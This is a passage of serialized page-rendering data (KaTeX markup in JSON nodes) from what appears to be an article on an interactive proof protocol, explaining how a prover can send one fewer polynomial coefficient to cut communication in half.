",{"type":21,"tag":66,"props":110553,"children":110555},{"className":110554},[4748,4749],[110556],{"type":21,"tag":85,"props":110557,"children":110559},{"className":110558},[4754],[110560],{"type":21,"tag":85,"props":110561,"children":110563},{"className":110562,"ariaHidden":4760},[4759],[110564,110657,110684],{"type":21,"tag":85,"props":110565,"children":110567},{"className":110566},[4765],[110568,110572,110629,110634,110639,110644,110648,110653],{"type":21,"tag":85,"props":110569,"children":110571},{"className":110570,"style":4878},[4770],[],{"type":21,"tag":85,"props":110573,"children":110575},{"className":110574},[4776],[110576,110581],{"type":21,"tag":85,"props":110577,"children":110579},{"className":110578,"style":93995},[4776,22016],[110580],{"type":26,"value":109760},{"type":21,"tag":85,"props":110582,"children":110584},{"className":110583},[4793],[110585],{"type":21,"tag":85,"props":110586,"children":110588},{"className":110587},[4798,22070],[110589,110618],{"type":21,"tag":85,"props":110590,"children":110592},{"className":110591},[4803],[110593,110613],{"type":21,"tag":85,"props":110594,"children":110596},{"className":110595,"style":94038},[4808],[110597],{"type":21,"tag":85,"props":110598,"children":110599},{"style":94042},[110600,110604],{"type":21,"tag":85,"props":110601,"children":110603},{"className":110602,"style":4818},[4817],[],{"type":21,"tag":85,"props":110605,"children":110607},{"className":110606},[4823,4824,4825,4826],[110608],{"type":21,"tag":85,"props":110609,"children":110611},{"className":110610},[4776,22016,4826],[110612],{"type":26,"value":3003},{"type":21,"tag":85,"props":110614,"children":110616},{"className":110615},[22173],[110617],{"type":26,"value":22176},{"type":21,"tag":85,"props":110619,"children":110621},{"className":110620},[4803],[110622],{"type":21,"tag":85,"props":110623,"children":110625},{"className":110624,"style":93592},[4808],[110626],{"type":21,"tag":85,"props":110627,"children":110628},{},[],{"type":21,"tag":85,"props":110630,"children":110632},{"className":110631},[22145],[110633],{"type":26,"value":1439},{"type":21,"tag":85,"props":110635,"children":110637},{"className":110636,"style":95529},[4776,22016],[110638],{"type":26,"value":456},{"type":21,"tag":85,"props":110640,"children":110642},{"className":110641},[22167],[110643],{"type":26,"value":1900},{"type":21,"tag":85,"props":110645,"children":110647},{"className":110646,"style":4955},[4857],[],{"type":21,"tag":85,"props":110649,"children":110651},{"className":110650},[4960],[110652],{"type":26,"value":741},{"type":21,"tag":85,"props":110654,"children":110656},{"className":110655,"style":4955},[4857],[],{"type":21,"tag":85,"props":110658,"children":110660},{"className":110659},[4765],[110661,110666,110671,110675,110680],{"type":21,"tag":85,"props":110662,"children":110665},{"className":110663,"style":110664},[4770],"height:0.6667em;vertical-align:-0.0833em;",[],{"type":21,"tag":85,"props":110667,"children":110669},{"className":110668},[4776,22016],[110670],{"type":26,"value":335},{"type":21,"tag":85,"props":110672,"children":110674},{"className":110673,"style":4858},[4857],[],{"type":21,"tag":85,"props":110676,"children":110678},{"className":110677},[4863],[110679],{"type":26,"value":5151},{"type":21,"tag":85,"props":110681,"children":110683},{"className":110682,"style":4858},[4857],[],{"type":21,"tag":85,"props":110685,"children":110687},{"className":110686},[4765],[110688,110692,110697],{"type":21,"tag":85,"props":110689,"children":110691},{"className":110690,"style":93424},[4770],[],{"type":21,"tag":85,"props":110693,"children":110695},{"className":110694},[4776,22016],[110696],{"type":26,"value":3994},{"type":21,"tag":85,"props":110698,"children":110700},{"className":110699,"style":95529},[4776,22016],[110701],{"type":26,"value":456},{"type":26,"value":110703}," has only two coefficients. Since the verifier knows ",{"type":21,"tag":66,"props":110705,"children":110707},{"className":110706},[4748,4749],[110708],{"type":21,"tag":85,"props":110709,"children":110711},{"className":110710},[4754],[110712],{"type":21,"tag":85,"props":110713,"children":110715},{"className":110714,"ariaHidden":4760},[4759],[110716,110809,110902],{"type":21,"tag":85,"props":110717,"children":110719},{"className":110718},[4765],[110720,110724,110781,110786,110791,110796,110800,110805],{"type":21,"tag":85,"props":110721,"children":110723},{"className":110722,"style":4878},[4770],[],{"type":21,"tag":85,"props":110725,"children":110727},{"className":110726},[4776],[110728,110733],{"type":21,"tag":85,"props":110729,"children":110731},{"className":110730,"style":93995},[4776,22016],[110732],{"type":26,"value":109760},{"type":21,"tag":85,"props":110734,"children":110736},{"className":110735},[4793],[110737],{"type":21,"tag":85,"props":110738,"children":110740},{"className":110739},[4798,22070],[110741,110770],{"type":21,"tag":85,"props":110742,"children":110744},{"className":110743},[4803],[110745,110765],{"type":21,"tag":85,"props":110746,"children":110748},{"className":110747,"style":94038},[4808],[110749],{"type":21,"tag":85,"props":110750,"children":110751},{"style":94042},[110752,110756],{"type":21,"tag":85,"props":110753,"children":110755},{"className":110754,"style":4818},[4817],[],{"type":21,"tag":85,"props":110757,"children":110759},{"className":110758},[4823,4824,4825,4826],[110760],{"type":21,"tag":85,"props":110761,"children":110763},{"className":110762},[4776,22016,4826],[110764],{"type":26,"value":3003},{"type":21,"tag":85,"props":110766,"children":110768},{"className":110767},[22173],[110769],{"type":26,"value":22176},{"type":21,"tag":85,"props":110771,"children":110773},{"className":110772},[4803],[110774],{"type":21,"tag":85,"props":110775,"children":110777},{"className":110776,"style":93592},[4808],[110778],{"type":21,"tag":85,"props":110779,"children":110780},{},[],{"type":21,"tag":85,"props":110782,"children":110784},{"className":110783},[22145],[110785],{"type":26,"value":1439},{"type":21,"tag":85,"props":110787,"children":110789},{"className":110788},[4776],[110790],{"type":26,"value":4789},{"type":21,"tag":85,"props":110792,"children":110794},{"className":110793},[22167],[110795],{"type":26,"value":1900},{"type":21,"tag":85,"props":110797,"children":110799},{"className":110798,"style":4858},[4857],[],{"type":21,"tag":85,"props":110801,"children":110803},{"className":110802},[4863],[110804],{"type":26,"value":5151},{"type":21,"tag":85,"props":110806,"children":110808},{"className":110807,"style":4858},[4857],[],{"type":21,"tag":85,"props":110810,"children":110812},{"className":110811},[4765],[110813,110817,110874,110879,110884,110889,110893,110898],{"type":21,"tag":85,"props":110814,"children":110816},{"className":110815,"style":4878},[4770],[],{"type":21,"tag":85,"props":110818,"children":110820},{"className":110819},[4776],[110821,110826],{"type":21,"tag":85,"props":110822,"children":110824},{"className":110823,"style":93995},[4776,22016],[110825],{"type":26,"value":109760},{"type":21,"tag":85,"props":110827,"children":110829},{"className":110828},[4793],[110830],{"type":21,"tag":85,"props":110831,"children":110833},{"className":110832},[4798,22070],[110834,110863],{"type":21,"tag":85,"props":110835,"children":110837},{"className":110836},[4803],[110838,110858],{"type":21,"tag":85,"props":110839,"children":110841},{"className":110840,"style":94038},[4808],[110842],{"type":21,"tag":85,"props":110843,"children":110844},{"style":94042},[110845,110849],{"type":21,"tag":85,"props":110846,"children":110848},{"className":110847,"style":4818},[4817],[],{"type":21,"tag":85,"props":110850,"children":110852},{"className":110851},[4823,4824,4825,4826],[110853],{"type":21,"tag":85,"props":110854,"children":110856},{"className":110855},[4776,22016,4826],[110857],{"type":26,"value":3003},{"type":21,"tag":85,"props":110859,"children":110861},{"className":110860},[22173],[110862],{"type":26,"value":22176},{"type":21,"tag":85,"props":110864,"children":110866},{"className":110865},[4803],[110867],{"type":21,"tag":85,"props":110868,"children":110870},{"className":110869,"style":93592},[4808],[110871],{"type":21,"tag":85,"props":110872,"children":110873},{},[],{"type":21,"tag":85,"props":110875,"children":110877},{"className":110876},[22145],[110878],{"type":26,"value":1439},{"type":21,"tag":85,"props":110880,"children":110882},{"className":110881},[4776],[110883],{"type":26,"value":4779},{"type":21,"tag":85,"props":110885,"children":110887},{"className":110886},[22167],[110888],{"type":26,"value":1900},{"type":21,"tag":85,"props":110890,"children":110892},{"className":110891,"style":4955},[4857],[],{"type":21,"tag":85,"props":110894,"children":110896},{"className":110895},[4960],[110897],{"type":26,"value":741},{"type":21,"tag":85,"props":110899,"children":110901},{"className":110900,"style":4955},[4857],[],{"type":21,"tag":85,"props":110903,"children":110905},{"className":110904},[4765],[110906,110911],{"type":21,"tag":85,"props":110907,"children":110910},{"className":110908,"style":110909},[4770],"height:0.8917em;vertical-align:-0.2083em;",[],{"type":21,"tag":85,"props":110912,"children":110914},{"className":110913},[4776],[110915,110920],{"type":21,"tag":85,"props":110916,"children":110918},{"className":110917,"style":93743},[4776,22016],[110919],{"type":26,"value":93746},{"type":21,"tag":85,"props":110921,"children":110923},{"className":110922},[4793],[110924],{"type":21,"tag":85,"props":110925,"children":110927},{"className":110926},[4798,22070],[110928,110972],{"type":21,"tag":85,"props":110929,"children":110931},{"className":110930},[4803],[110932,110967],{"type":21,"tag":85,"props":110933,"children":110935},{"className":110934,"style":94038},[4808],[110936],{"type":21,"tag":85,"props":110937,"children":110939},{"style":110938},"top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;",[110940,110944],{"type":21,"tag":85,"props":110941,"children":110943},{"className":110942,"style":4818},[4817],[],{"type":21,"tag":85,"props":110945,"children":110947},{"className":110946},[4823,4824,4825,4826],[110948],{"type":21,"tag":85,"props":110949,"children":110951},{"className":110950},[4776,4826],[110952,110957,110962],{"type":21,"tag":85,"props":110953,"children":110955},{"className":110954},[4776,22016,4826],[110956],{"type":26,"value":3003},{"type":21,"tag":85,"props":110958,"children":110960},{"className":110959},[4863,4826],[110961],{"type":26,"value":4837},{"type":21,"tag":85,"props":110963,"children":110965},{"className":110964},[4776,4826],[110966],{"type":26,"value":4779},{"type":21,"tag":85,"props":110968,"children":110970},{"className":110969},[22173],[110971],{"type":26,"value":22176},{"type":21,"tag":85,"props":110973,"children":110975},{"className":110974},[4803],[110976],{"type":21,"tag":85,"props":110977,"children":110980},{"className":110978,"style":110979},[4808],"height:0.2083em;",[110981],{"type":21,"tag":85,"props":110982,"children":110983},{},[],{"type":26,"value":110985}," (the previous claim), we have:",{"type":21,"tag":22,"props":110987,"children":110988},{},[110989],{"type":21,"tag":66,"props":110990,"children":110992},{"className":110991},[4748,4749],[110993],{"type":21,"tag":85,"props":110994,"children":110996},{"className":110995},[4754],[110997],{"type":21,"tag":85,"props":110998,"children":111000},{"className":110999,"ariaHidden":4760},[4759],[111001,111027,111058,111089,111190,111216,111308],{"type":21,"tag":85,"props":111002,"children":111004},{"className":111003},[4765],[111005,111009,111014,111018,111023],{"type":21,"tag":85,"props":111006,"children":111008},{"className":111007,"style":110664},[4770],[],{"type":21,"tag":85,"props":111010,"children":111012},{"className":111011},[4776,22016],[111013],{"type":26,"value":335},{"type":21,"tag":85,"props":111015,"children":111017},{"className":111016,"style":4858},[4857],[],{"type":21,"tag":85,"props":111019,"children":111021},{"className":111020},[4863],[111022],{"type":26,"value":5151},{"type":21,"tag":85,"props":111024,"children":111026},{"className":111025,"style":4858},[4857],[],{"type":21,"tag":85,"props":111028,"children":111030},{"className":111029},[4765],[111031,111035,111040,111045,111049,111054],{"type":21,"tag":85,"props":111032,"children":111034},{"className":111033,"style":4878},[4770],[],{"type":21,"tag":85,"props":111036,"children":111038},{"className":111037},[22145],[111039],{"type":26,"value":1439},{"type":21,"tag":85,"props":111041,"children":111043},{"className":111042},[4776,22016],[111044],{"type":26,"value":335},{"type":21,"tag":85,"props":111046,"children":111048},{"className":111047,"style":4858},[4857],[],{"type":21,"tag":85,"props":111050,"children":111052},{"className":111051},[4863],[111053],{"type":26,"value":5151},{"type":21,"tag":85,"props":111055,"children":111057},{"className":111056,"style":4858},[4857],[],{"type":21,"tag":85,"props":111059,"children":111061},{"className":111060},[4765],[111062,111066,111071,111076,111080,111085],{"type":21,"tag":85,"props":111063,"children":111065},{"className":111064,"style":4878},[4770],[],{"type":21,"tag":85,"props":111067,"children":111069},{"className":111068},[4776,22016],[111070],{"type":26,"value":3994},{"type":21,"tag":85,"props":111072,"children":111074},{"className":111073},[22167],[111075],{"type":26,"value":1900},{"type":21,"tag":85,"props":111077,"children":111079},{"className":111078,"style":4955},[4857],[],{"type":21,"tag":85,"props":111081,"children":111083},{"className":111082},[4960],[111084],{"type":26,"value":741},{"type":21,"tag":85,"props":111086,"children":111088},{"className":111087,"style":4955},[4857],[],{"type":21,"tag":85,"props":111090,"children":111092},{"className":111091},[4765],[111093,111097,111168,111172,111176,111182,111186],{"type":21,"tag":85,"props":111094,"children":111096},{"className":111095,"style":110909},[4770],[],{"type":21,"tag":85,"props":111098,"children":111100},{"className":111099},[4776],[111101,111106],{"type":21,"tag":85,"props":111102,"children":111104},{"className":111103,"style":93743},[4776,22016],[111105],{"type":26,"value":93746},{"type":21,"tag":85,"props":111107,"children":111109},{"className":111108},[4793],[111110],{"type":21,"tag":85,"props":111111,"children":111113},{"className":111112},[4798,22070],[111114,111157],{"type":21,"tag":85,"props":111115,"children":111117},{"className":111116},[4803],[111118,111152],{"type":21,"tag":85,"props":111119,"children":111121},{"className":111120,"style":94038},[4808],[111122],{"type":21,"tag":85,"props":111123,"children":111124},{"style":110938},[111125,111129],{"type":21,"tag":85,"props":111126,"children":111128},{"className":111127,"style":4818},[4817],[],{"type":21,"tag":85,"props":111130,"children":111132},{"className":111131},[4823,4824,4825,4826],[111133],{"type":21,"tag":85,"props":111134,"children":111136},{"className":111135},[4776,4826],[111137,111142,111147],{"type":21,"tag":85,"props":111138,"children":111140},{"className":111139},[4776,22016,4826],[111141],{"type":26,"value":3003},{"type":21,"tag":85,"props":111143,"children":111145},{"className":111144},[4863,4826],[111146],{"type":26,"value":4837},{"type":21,"tag":85,"props":111148,"children":111150},{"className":111149},[4776,4826],[111151],{"type":26,"value":4779},{"type":21,"tag":85,"props":111153,"children":111155},{"className":111154},[22173],[111156],{"type":26,"value":22176},{"type":21,"tag":85,"props":111158,"children":111160},{"className":111159},[4803],[111161],{"type":21,"tag":85,"props":111162,"children":111164},{"className":111163,"style":110979},[4808],[111165],{"type":21,"tag":85,"props":111166,"children":111167},{},[],{"type":21,"tag":85,"props":111169,"children":111171},{"className":111170,"style":4955},[4857],[],{"type":21,"tag":85,"props":111173,"children":111175},{"className":111174,"style":4955},[4857],[],{"type":21,"tag":85,"props":111177,"children":111179},{"className":111178},[4960],[111180],{"type":26,"value":111181},"⟹",{"type":21,"tag":85,"props":111183,"children":111185},{"className":111184,"style":4955},[4857],[],{"type":21,"tag":85,"props":111187,"children":111189},{"className":111188,"style":4955},[4857],[],{"type":21,"tag":85,"props":111191,"children":111193},{"className":111192},[4765],[111194,111198,111203,111207,111212],{"type":21,"tag":85,"props":111195,"children":111197},{"className":111196,"style":93424},[4770],[],{"type":21,"tag":85,"props":111199,"children":111201},{"className":111200},[4776,22016],[111202],{"type":26,"value":3994},{"type":21,"tag":85,"props":111204,"children":111206},{"className":111205,"style":4955},[4857],[],{"type":21,"tag":85,"props":111208,"children":111210},{"className":111209},[4960],[111211],{"type":26,"value":741},{"type":21,"tag":85,"props":111213,"children":111215},{"className":111214,"style":4955},[4857],[],{"type":21,"tag":85,"props":111217,"children":111219},{"className":111218},[4765],[111220,111224,111295,111299,111304],{"type":21,"tag":85,"props":111221,"children":111223},{"className":111222,"style":110909},[4770],[],{"type":21,"tag":85,"props":111225,"children":111227},{"className":111226},[4776],[111228,111233],{"type":21,"tag":85,"props":111229,"children":111231},{"className":111230,"style":93743},[4776,22016],[111232],{"type":26,"value":93746},{"type":21,"tag":85,"props":111234,"children":111236},{"className":111235},[4793],[111237],{"type":21,"tag":85,"props":111238,"children":111240},{"className":111239},[4798,22070],[111241,111284],{"type":21,"tag":85,"props":111242,"children":111244},{"className":111243},[4803],[111245,111279],{"type":21,"tag":85,"props":111246,"children":111248},{"className":111247,"style":94038},[4808],[111249],{"type":21,"tag":85,"props":111250,"children":111251},{"style":110938},[111252,111256],{"type":21,"tag":85,"props":111253,"children":111255},{"className":111254,"style":4818},[4817],[],{"type":21,"tag":85,"props":111257,"children":111259},{"className":111258},[4823,4824,4825,4826],[111260],{"type":21,"tag":85,"props":111261,"children":111263},{"className":111262},[4776,4826],[111264,111269,111274],{"type":21,"tag":85,"props":111265,"children":111267},{"className":111266},[4776,22016,4826],[111268],{"type":26,"value":3003},{"type":21,"tag":85,"props":111270,"children":111272},{"className":111271},[4863,4826],[111273],{"type":26,"value":4837},{"type":21,"tag":85,"props":111275,"children":111277},{"className":111276},[4776,4826],[111278],{"type":26,"value":4779},{"type":21,"tag":85,"props":111280,"children":111282},{"className":111281},[22173],[111283],{"type":26,"value":22176},{"type":21,"tag":85,"props":111285,"children":111287},{"className":111286},[4803],[111288],{"type":21,"tag":85,"props":111289,"children":111291},{"className":111290,"style":110979},[4808],[111292],{"type":21,"tag":85,"props":111293,"children":111294},{},[],{"type":21,"tag":85,"props":111296,"children":111298},{"className":111297,"style":4858},[4857],[],{"type":21,"tag":85,"props":111300,"children":111302},{"className":111301},[4863],[111303],{"type":26,"value":4837},{"type":21,"tag":85,"props":111305,"children":111307},{"className":111306,"style":4858},[4857],[],{"type":21,"tag":85,"props":111309,"children":111311},{"className":111310},[4765],[111312,111316,111321],{"type":21,"tag":85,"props":111313,"children":111315},{"className":111314,"style":94540},[4770],[],{"type":21,"tag":85,"props":111317,"children":111319},{"className":111318},[4776],[111320],{"type":26,"value":3895},{"type":21,"tag":85,"props":111322,"children":111324},{"className":111323},[4776,22016],[111325],{"type":26,"value":335},{"type":21,"tag":22,"props":111327,"children":111328},{},[111329,111331,111450,111452,111477],{"type":26,"value":111330},"So the prover only sends ",{"type":21,"tag":66,"props":111332,"children":111334},{"className":111333},[4748,4749],[111335],{"type":21,"tag":85,"props":111336,"children":111338},{"className":111337},[4754],[111339],{"type":21,"tag":85,"props":111340,"children":111342},{"className":111341,"ariaHidden":4760},[4759],[111343,111370],{"type":21,"tag":85,"props":111344,"children":111346},{"className":111345},[4765],[111347,111352,111357,111361,111366],{"type":21,"tag":85,"props":111348,"children":111351},{"className":111349,"style":111350},[4770],"height:0.4306em;",[],{"type":21,"tag":85,"props":111353,"children":111355},{"className":111354},[4776,22016],[111356],{"type":26,"value":335},{"type":21,"tag":85,"props":111358,"children":111360},{"className":111359,"style":4955},[4857],[],{"type":21,"tag":85,"props":111362,"children":111364},{"className":111363},[4960],[111365],{"type":26,"value":741},{"type":21,"tag":85,"props":111367,"children":111369},{"className":111368,"style":4955},[4857],[],{"type":21,"tag":85,"props":111371,"children":111373},{"className":111372},[4765],[111374,111378,111435,111440,111445],{"type":21,"tag":85,"props":111375,"children":111377},{"className":111376,"style":4878},[4770],[],{"type":21,"tag":85,"props":111379,"children":111381},{"className":111380},[4776],[111382,111387],{"type":21,"tag":85,"props":111383,"children":111385},{"className":111384,"style":93995},[4776,22016],[111386],{"type":26,"value":109760},{"type":21,"tag":85,"props":111388,"children":111390},{"className":111389},[4793],[111391],{"type":21,"tag":85,"props":111392,"children":111394},{"className":111393},[4798,22070],[111395,111424],{"type":21,"tag":85,"props":111396,"children":111398},{"className":111397},[4803],[111399,111419],{"type":21,"tag":85,"props":111400,"children":111402},{"className":111401,"style":94038},[4808],[111403],{"type":21,"tag":85,"props":111404,"children":111405},{"style":94042},[111406,111410],{"type":21,"tag":85,"props":111407,"children":111409},{"className":111408,"style":4818},[4817],[],{"type":21,"tag":85,"props":111411,"children":111413},{"className":111412},[4823,4824,4825,4826],[111414],{"type":21,"tag":85,"props":111415,"children":111417},{"className":111416},[4776,22016,4826],[111418],{"type":26,"value":3003},{"type":21,"tag":85,"props":111420,"children":111422},{"className":111421},[22173],[111423],{"type":26,"value":22176},{"type":21,"tag":85,"props":111425,"children":111427},{"className":111426},[4803],[111428],{"type":21,"tag":85,"props":111429,"children":111431},{"className":111430,"style":93592},[4808],[111432],{"type":21,"tag":85,"props":111433,"children":111434},{},[],{"type":21,"tag":85,"props":111436,"children":111438},{"className":111437},[22145],[111439],{"type":26,"value":1439},{"type":21,"tag":85,"props":111441,"children":111443},{"className":111442},[4776],[111444],{"type":26,"value":4789},{"type":21,"tag":85,"props":111446,"children":111448},{"className":111447},[22167],[111449],{"type":26,"value":1900},{"type":26,"value":111451},", and the verifier recovers ",{"type":21,"tag":66,"props":111453,"children":111455},{"className":111454},[4748,4749],[111456],{"type":21,"tag":85,"props":111457,"children":111459},{"className":111458},[4754],[111460],{"type":21,"tag":85,"props":111461,"children":111463},{"className":111462,"ariaHidden":4760},[4759],[111464],{"type":21,"tag":85,"props":111465,"children":111467},{"className":111466},[4765],[111468,111472],{"type":21,"tag":85,"props":111469,"children":111471},{"className":111470,"style":93424},[4770],[],{"type":21,"tag":85,"props":111473,"children":111475},{"className":111474},[4776,22016],[111476],{"type":26,"value":3994},{"type":26,"value":111478},". This saves 50% on communication costs.",{"type":21,"tag":22,"props":111480,"children":111481},{},[111482],{"type":26,"value":111483},"The next claim in the chain is",{"type":21,"tag":22,"props":111485,"children":111486},{},[111487],{"type":21,"tag":66,"props":111488,"children":111490},{"className":111489},[4748,4749],[111491],{"type":21,"tag":85,"props":111492,"children":111494},{"className":111493},[4754],[111495],{"type":21,"tag":85,"props":111496,"children":111498},{"className":111497,"ariaHidden":4760},[4759],[111499,111578,111723,111749,111776,111854,111880,111977,112013,112091,112127,112215,112307],{"type":21,"tag":85,"props":111500,"children":111502},{"className":111501},[4765],[111503,111508,111565,111569,111574],{"type":21,"tag":85,"props":111504,"children":111507},{"className":111505,"style":111506},[4770],"height:0.8333em;vertical-align:-0.15em;",[],{"type":21,"tag":85,"props":111509,"children":111511},{"className":111510},[4776],[111512,111517],{"type":21,"tag":85,"props":111513,"children":111515},{"className":111514,"style":93743},[4776,22016],[111516],{"type":26,"value":93746},{"type":21,"tag":85,"props":111518,"children":111520},{"className":111519},[4793],[111521],{"type":21,"tag":85,"props":111522,"children":111524},{"className":111523},[4798,22070],[111525,111554],{"type":21,"tag":85,"props":111526,"children":111528},{"className":111527},[4803],[111529,111549],{"type":21,"tag":85,"props":111530,"children":111532},{"className":111531,"style":94038},[4808],[111533],{"type":21,"tag":85,"props":111534,"children":111535},{"style":110938},[111536,111540],{"type":21,"tag":85,"props":111537,"children":111539},{"className":111538,"style":4818},[4817],[],{"type":21,"tag":85,"props":111541,"children":111543},{"className":111542},[4823,4824,4825,4826],[111544],{"type":21,"tag":85,"props":111545,"children":111547},{"className":111546},[4776,22016,4826],[111548],{"type":26,"value":3003},{"type":21,"tag":85,"props":111550,"children":111552},{"className":111551},[22173],[111553],{"type":26,"value":22176},{"type":21,"tag":85,"props":111555,"children":111557},{"className":111556},[4803],[111558],{"type":21,"tag":85,"props":111559,"children":111561},{"className":111560,"style":93592},[4808],[111562],{"type":21,"tag":85,"props":111563,"children":111564},{},[],{"type":21,"tag":85,"props":111566,"children":111568},{"className":111567,"style":4955},[4857],[],{"type":21,"tag":85,"props":111570,"children":111572},{"className":111571},[4960],[111573],{"type":26,"value":741},{"type":21,"tag":85,"props":111575,"children":111577},{"className":111576,"style":4955},[4857],[],{"type":21,"tag":85,"props":111579,"children":111581},{"className":111580},[4765],[111582,111586,111643,111648,111705,111710,111714,111719],{"type":21,"tag":85,"props":111583,"children":111585},{"className":111584,"style":4878},[4770],[],{"type":21,"tag":85,"props":111587,"children":111589},{"className":111588},[4776],[111590,111595],{"type":21,"tag":85,"props":111591,"children":111593},{"className":111592,"style":93995},[4776,22016],[111594],{"type":26,"value":109760},{"type":21,"tag":85,"props":111596,"children":111598},{"className":111597},[4793],[111599],{"type":21,"tag":85,"props":111600,"children":111602},{"className":111601},[4798,22070],[111603,111632],{"type":21,"tag":85,"props":111604,"children":111606},{"className":111605},[4803],[111607,111627],{"type":21,"tag":85,"props":111608,"children":111610},{"className":111609,"style":94038},[4808],[111611],{"type":21,"tag":85,"props":111612,"children":111613},{"style":94042},[111614,111618],{"type":21,"tag":85,"props":111615,"children":111617},{"className":111616,"style":4818},[4817],[],{"type":21,"tag":85,"props":111619,"children":111621},{"className":111620},[4823,4824,4825,4826],[111622],{"type":21,"tag":85,"props":111623,"children":111625},{"className":111624},[4776,22016,4826],[111626],{"type":26,"value":3003},{"type":21,"tag":85,"props":111628,"children":111630},{"className":111629},[22173],[111631],{"type":26,"value":22176},{"type":21,"tag":85,"props":111633,"children":111635},{"className":111634},[4803],[111636],{"type":21,"tag":85,"props":111637,"children":111639},{"className":111638,"style":93592},[4808],[111640],{"type":21,"tag":85,"props":111641,"children":111642},{},[],{"type":21,"tag":85,"props":111644,"children":111646},{"className":111645},[22145],[111647],{"type":26,"value":1439},{"type":21,"tag":85,"props":111649,"children":111651},{"className":111650},[4776],[111652,111657],{"type":21,"tag":85,"props":111653,"children":111655},{"className":111654,"style":93509},[4776,22016],[111656],{"type":26,"value":94328},{"type":21,"tag":85,"props":111658,"children":111660},{"className":111659},[4793],[111661],{"type":21,"tag":85,"props":111662,"children":111664},{"className":111663},[4798,22070],[111665,111694],{"type":21,"tag":85,"props":111666,"children":111668},{"className":111667},[4803],[111669,111689],{"type":21,"tag":85,"props":111670,"children":111672},{"className":111671,"style":94038},[4808],[111673],{"type":21,"tag":85,"props":111674,"children":111675},{"style":110508},[111676,111680],{"type":21,"tag":85,"props":111677,"children":111679},{"className":111678,"style":4818},[4817],[],{"type":21,"tag":85,"props":111681,"children":111683},{"className":111682},[4823,4824,4825,4826],[111684],{"type":21,"tag":85,"props":111685,"children":111687},{"className":111686},[4776,22016,4826],[111688],{"type":26,"value":3003},{"type":21,"tag":85,"props":111690,"children":111692},{"className":111691},[22173],[111693],{"type":26,"value":22176},{"type":21,"tag":85,"props":111695,"children":111697},{"className":111696},[4803],[111698],{"type":21,"tag":85,"props":111699,"children":111701},{"className":111700,"style":93592},[4808],[111702],{"type":21,"tag":85,"props":111703,"children":111704},{},[],{"type":21,"tag":85,"props":111706,"children":111708},{"className":111707},[22167],[111709],{"type":26,"value":1900},{"type":21,"tag":85,"props":111711,"children":111713},{"className":111712,"style":4955},[4857],[],{"type":21,"tag":85,"props":111715,"children":111717},{"className":111716},[4960],[111718],{"type":26,"value":741},{"type":21,"tag":85,"props":111720,"children":111722},{"className":111721,"style":4955},[4857],[],{"type":21,"tag":85,"props":111724,"children":111726},{"className":111725},[4765],[111727,111731,111736,111740,111745],{"type":21,"tag":85,"props":111728,"children":111730},{"className":111729,"style":110664},[4770],[],{"type":21,"tag":85,"props":111732,"children":111734},{"className":111733},[4776,22016],[111735],{"type":26,"value":335},{"type":21,"tag":85,"props":111737,"children":111739},{"className":111738,"style":4858},[4857],[],{"type":21,"tag":85,"props":111741,"children":111743},{"className":111742},[4863],[111744],{"type":26,"value":5151},{"type":21,"tag":85,"props":111746,"children":111748},{"className":111747,"style":4858},[4857],[],{"type":21,"tag":85,"props":111750,"children":111752},{"className":111751},[4765],[111753,111757,111762,111766,111772],{"type":21,"tag":85,"props":111754,"children":111756},{"className":111755,"style":93424},[4770],[],{"type":21,"tag":85,"props":111758,"children":111760},{"className":111759},[4776,22016],[111761],{"type":26,"value":3994},{"type":21,"tag":85,"props":111763,"children":111765},{"className":111764,"style":4858},[4857],[],{"type":21,"tag":85,"props":111767,"children":111769},{"className":111768},[4863],[111770],{"type":26,"value":111771},"⋅",{"type":21,"tag":85,"props":111773,"children":111775},{"className":111774,"style":4858},[4857],[],{"type":21,"tag":85,"props":111777,"children":111779},{"className":111778},[4765],[111780,111784,111841,111845,111850],{"type":21,"tag":85,"props":111781,"children":111783},{"className":111782,"style":110479},[4770],[],{"type":21,"tag":85,"props":111785,"children":111787},{"className":111786},[4776],[111788,111793],{"type":21,"tag":85,"props":111789,"children":111791},{"className":111790,"style":93509},[4776,22016],[111792],{"type":26,"value":94328},{"type":21,"tag":85,"props":111794,"children":111796},{"className":111795},[4793],[111797],{"type":21,"tag":85,"props":111798,"children":111800},{"className":111799},[4798,22070],[111801,111830],{"type":21,"tag":85,"props":111802,"children":111804},{"className":111803},[4803],[111805,111825],{"type":21,"tag":85,"props":111806,"children":111808},{"className":111807,"style":94038},[4808],[111809],{"type":21,"tag":85,"props":111810,"children":111811},{"style":110508},[111812,111816],{"type":21,"tag":85,"props":111813,"children":111815},{"className":111814,"style":4818},[4817],[],{"type":21,"tag":85,"props":111817,"children":111819},{"className":111818},[4823,4824,4825,4826],[111820],{"type":21,"tag":85,"props":111821,"children":111823},{"className":111822},[4776,22016,4826],[111824],{"type":26,"value":3003},{"type":21,"tag":85,"props":111826,"children":111828},{"className":111827},[22173],[111829],{"type":26,"value":22176},{"type":21,"tag":85,"props":111831,"children":111833},{"className":111832},[4803],[111834],{"type":21,"tag":85,"props":111835,"children":111837},{"className":111836,"style":93592},[4808],[111838],{"type":21,"tag":85,"props":111839,"children":111840},{},[],{"type":21,"tag":85,"props":111842,"children":111844},{"className":111843,"style":4955},[4857],[],{"type":21,"tag":85,"props":111846,"children":111848},{"className":111847},[4960],[111849],{"type":26,"value":741},{"type":21,"tag":85,"props":111851,"children":111853},{"className":111852,"style":4955},[4857],[],{"type":21,"tag":85,"props":111855,"children":111857},{"className":111856},[4765],[111858,111862,111867,111871,111876],{"type":21,"tag":85,"props":111859,"children":111861},{"className":111860,"style":110664},[4770],[],{"type":21,"tag":85,"props":111863,"children":111865},{"className":111864},[4776,22016],[111866],{"type":26,"value":335},{"type":21,"tag":85,"props":111868,"children":111870},{"className":111869,"style":4858},[4857],[],{"type":21,"tag":85,"props":111872,"children":111874},{"className":111873},[4863],[111875],{"type":26,"value":5151},{"type":21,"tag":85,"props":111877,"children":111879},{"className":111878,"style":4858},[4857],[],{"type":21,"tag":85,"props":111881,"children":111883},{"className":111882},[4765],[111884,111888,111893,111964,111968,111973],{"type":21,"tag":85,"props":111885,"children":111887},{"className":111886,"style":4878},[4770],[],{"type":21,"tag":85,"props":111889,"children":111891},{"className":111890},[22145],[111892],{"type":26,"value":1439},{"type":21,"tag":85,"props":111894,"children":111896},{"className":111895},[4776],[111897,111902],{"type":21,"tag":85,"props":111898,"children":111900},{"className":111899,"style":93743},[4776,22016],[111901],{"type":26,"value":93746},{"type":21,"tag":85,"props":111903,"children":111905},{"className":111904},[4793],[111906],{"type":21,"tag":85,"props":111907,"children":111909},{"className":111908},[4798,22070],[111910,111953],{"type":21,"tag":85,"props":111911,"children":